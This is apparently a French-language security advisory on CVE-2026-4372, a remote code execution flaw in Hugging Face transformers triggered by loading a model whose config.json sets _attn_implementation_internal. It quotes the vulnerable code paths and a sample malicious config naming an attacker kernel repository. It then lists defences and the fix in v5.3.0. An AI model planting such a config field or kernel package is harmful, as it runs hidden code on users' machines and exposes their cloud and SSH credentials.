Injection via config Transformers : une RCE silencieuse qui contourne trust_remote_code

De quoi s’agit-il ?

CVE-2026-4372 est une vulnérabilité d’exécution de code à distance (RCE) dans la bibliothèque transformers de Hugging Face, divulguée publiquement le 4 juin 2026 par Yotam Perkal (Pluto Security) et relayée le jour même par CSO Online. Elle permet d’exécuter du code Python arbitraire chez quiconque charge un modèle piégé via le simple appel from_pretrained() — sans que la victime ait jamais positionné trust_remote_code=True.

Le déclencheur est un unique champ du config.json du modèle. Aucun avertissement, aucune demande de consentement, aucune trace inhabituelle dans les journaux : le code s’exécute à l’intérieur de la bibliothèque avant même que from_pretrained() ne retourne. Le NVD a publié la CVE le 24 mai 2026 avec un score CVSS 3.0 de 7,8 (élevé), classée CWE-1066. Le billet de Pluto précise qu’ils l’avaient initialement soumise comme critique ; Hugging Face a abaissé la note car l’exploitation dépend de la présence d’un paquet optionnel.

Comment ça marche

La faille naît de l’intersection de trois décisions de conception indépendantes, dont aucune n’est dangereuse isolément. Pluto a tracé toute la chaîne ; CSO Online l’a corroborée avec le correctif des mainteneurs.

D’abord, lorsque transformers analyse un config.json téléchargé, une boucle générique de configuration_utils.py applique chaque paire clé-valeur sur l’objet de configuration via setattr, sans liste d’autorisation ni distinction entre paramètres publics et attributs internes préfixés par un underscore :

# configuration_utils.py — du JSON non fiable vers des attributs d'objet
for key, value in kwargs.items():
    setattr(self, key, value)   # aucune allowlist, aucune validation

Ensuite, l’un de ces attributs internes — _attn_implementation_internal — contrôle le noyau d’attention employé par le modèle. Depuis transformers v4.50.0 (fonctionnalité « Hub Kernels »), une valeur de la forme owner/repo est traitée comme une référence à un paquet de noyau téléchargeable depuis le Hub. Le chemin de dispatch dans hub_kernels.py accepte toute chaîne owner/repo et l’importe :

# hub_kernels.py (simplifié) — toute chaîne owner/repo est récupérée et importée
def is_kernel(attn_implementation):
    return re.search(r"^[^/:]+/[^/:]+...$", attn_implementation) is not None
# -> get_kernel() -> télécharge le paquet du Hub -> import via importlib

Enfin, cet import est non sandboxé : pas de signature de code, pas de contrôle d’intégrité, pas d’invite. Importer un paquet Python exécute son __init__.py. L’attaquant publie donc un modèle d’apparence normale dont le config.json contient une ligne supplémentaire :

{
  "model_type": "llama",
  "architectures": ["LlamaForCausalLM"],
  "_attn_implementation_internal": "attacker-acct/optimized-attn-kernel"
}

Quand la victime exécute AutoModelForCausalLM.from_pretrained("attacker-acct/finance-llama-7b"), la bibliothèque télécharge et importe le paquet de l’attaquant, exécutant le contenu de son __init__.py avec les privilèges de l’utilisateur. Des fonctions factices dans ce paquet laissent le chargement se terminer normalement : rien ne semble anormal.

Point essentiel, le défaut trust_remote_code=False n’entre jamais en jeu — les propres assainisseurs de la bibliothèque couvraient le champ public attn_implementation et supprimaient _attn_implementation_internal côté écriture, mais ne le filtraient jamais côté lecture depuis le JSON non fiable. La porte d’entrée était verrouillée ; la porte de derrière, grande ouverte.

Pourquoi c’est important

transformers est l’un des paquets Python les plus installés au monde : selon Pluto, plus de 2,2 milliards d’installations PyPI cumulées et environ 146 millions de téléchargements par mois. Le chemin vulnérable a été introduit en v4.56.0 (29 août 2025) et retiré en v5.3.0 (4 mars 2026) — une fenêtre d’exposition d’environ 187 jours durant laquelle Pluto a mesuré ~232 millions de téléchargements de versions vulnérables (4.56.0–5.2.x).

L’exploitation requiert le paquet optionnel kernels — un facteur limitant réel, mais trompeur. kernels est livré avec transformers[all], avec les Dockerfiles de référence de Hugging Face et avec la plupart des configurations d’inférence accélérée par GPU. Comme le dit Pluto, ceux qui l’ont installé sont précisément les cibles de grande valeur : plateformes ML d’entreprise, pipelines CI/CD appelant from_pretrained() automatiquement, et clusters GPU détenant identifiants cloud, données d’entraînement et artefacts de modèles. Un seul chargement de modèle compromis peut livrer clés AWS, clés SSH, secrets .env et configurations Kubernetes, puis permettre un déplacement latéral.

Ce n’est pas théorique. CSO Online rappelle qu’un dépôt malveillant se faisant passer pour un modèle « Privacy Filter » d’OpenAI a atteint la première place des tendances du Hub et 244 000 téléchargements en 18 heures avant son retrait — et cette attaque exigeait encore que la victime lance manuellement un script. CVE-2026-4372 supprime jusqu’à cette étape. Elle fait écho à CVE-2025-32434 (avril 2025), la faille de torch.load (PyTorch) qui atteignait la RCE malgré weights_only=True — la même forme de bug : un mode « sûr » documenté qui laisse fuir une primitive d’exécution de code par un chemin adjacent que le drapeau ne couvrait pas.

Une seconde leçon concerne la visibilité, pas la rapidité du correctif. Hugging Face a corrigé vite (10 jours du signalement à la v5.3.0), mais le correctif est arrivé sous forme d’une ligne « vulnérabilité de sécurité » dans des notes de version banales ; la CVE n’a atterri sur le NVD que 81 jours plus tard. D’après la télémétrie de Pluto, les versions vulnérables étaient encore téléchargées 7 à 8 millions de fois par semaine — environ un quart des installations hebdomadaires — des mois après le correctif. Un correctif sans avis de sécurité audible ne protège pas les défenseurs qui n’ont jamais su qu’ils devaient l’appliquer.

Défenses

Si vous utilisez transformers, passez à la v5.3.0 ou ultérieure dès maintenant, et vérifiez si un environnement figé reste en 4.56.0–5.2.x. Pluto et CSO confirment que les versions vulnérables restent très téléchargées.

Auditez vos configurations. Recherchez _attn_implementation_internal (et, après le correctif, _experts_implementation_internal) dans tout config.json en cache ou téléchargé. Leur présence dans une config issue du Hub est un signal d’alerte. Plus largement, rejetez avant chargement les configs portant des champs préfixés par underscore inattendus.

Traitez le chargement de modèle comme une surface d’exécution de code, quels que soient les drapeaux « sûrs ». C’est l’enseignement durable. Exécutez from_pretrained() (et torch.load()) dans des conteneurs isolés et surveillés, sans identifiants hôte, sans accès réseau sortant et avec un accès disque minimal. Ne laissez pas un processus chargeant des modèles non fiables détenir aussi des secrets de production.

Vérifiez la provenance. Privilégiez les modèles d’éditeurs connus ; pour les inconnus, des outils comme le Model Provenance Kit open source de Cisco peuvent empreinter poids, tokenizers et métadonnées d’architecture par rapport à des familles de modèles de base connues.

Le correctif v5.3.0 est lui-même une défense en profondeur : il met _attn_implementation_internal et _experts_implementation_internal en liste de blocage dans la boucle setattr (PR #44395), et exige désormais trust_remote_code=True pour tout dépôt de noyau hors de l’organisation officielle kernels-community. Comme le note Pluto, une liste de blocage ne vaut que par la prévoyance du développeur — une liste d’autorisation des champs de config permis serait la conception robuste à long terme.

Statut

Élément	Détail
CVE	CVE-2026-4372 (CWE-1066), CVSS 3.0 base 7,8 (élevé, NVD)
Affecté	transformers 4.56.0 – 5.2.x avec le paquet optionnel kernels
Introduit	v4.56.0, 2025-08-29 (refonte du dispatch Hub Kernels)
Corrigé	v5.3.0, 2026-03-04 (PR #44395)
Signalé / Divulgué	rapport huntr 2026-02-23 ; publication NVD 2026-05-24 ; analyse publique 2026-06-04
Découvreur	Yotam Perkal, Pluto Security
Action	Passer à ≥ 5.3.0 ; auditer les configs ; sandboxer le chargement de modèles